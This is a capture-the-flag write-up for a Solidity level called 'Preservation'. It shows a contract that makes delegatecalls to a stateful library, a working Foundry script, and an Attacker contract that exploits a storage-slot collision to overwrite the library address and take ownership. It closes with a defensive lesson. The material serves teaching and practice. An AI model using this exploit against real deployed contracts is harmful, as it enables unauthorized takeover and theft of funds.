Preservation
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity’s documentation on the
delegatecall
low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope. - Understanding what it means for
delegatecall
to be context-preserving. - Understanding how storage variables are stored and accessed.
- Understanding how casting works between different data types.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Solution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Attacker,Preservation} from "../src/16.sol";
contract POC is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address addr = vm.envAddress("INSTANCE_16");
address pubKey = vm.envAddress("PUBLIC_KEY");
vm.startBroadcast(deployerPrivateKey);
Attacker attacker = new Attacker();
attacker.attack(addr, pubKey);
console.logAddress(Preservation(addr).owner());
vm.stopBroadcast();
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface Preservation {
function timeZone1Library() external returns(address);
function setFirstTime(uint _timeStamp) external;
function owner() external returns(address);
}
contract Attacker {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
function attack(address _preservation, address newOwner) public {
Preservation preservation = Preservation(_preservation);
preservation.setFirstTime(uint160(address(this)));
preservation.setFirstTime(uint160(address(newOwner)));
}
function setTime(uint _time) public {
owner = address(uint160(_time));
}
}
As the previous level, delegate
mentions, the use of delegatecall
to call
libraries can be risky. This is particularly true for contract libraries that
have their own state. This example demonstrates why the library
keyword
should be used for building libraries, as it prevents the libraries from
storing and accessing state variables.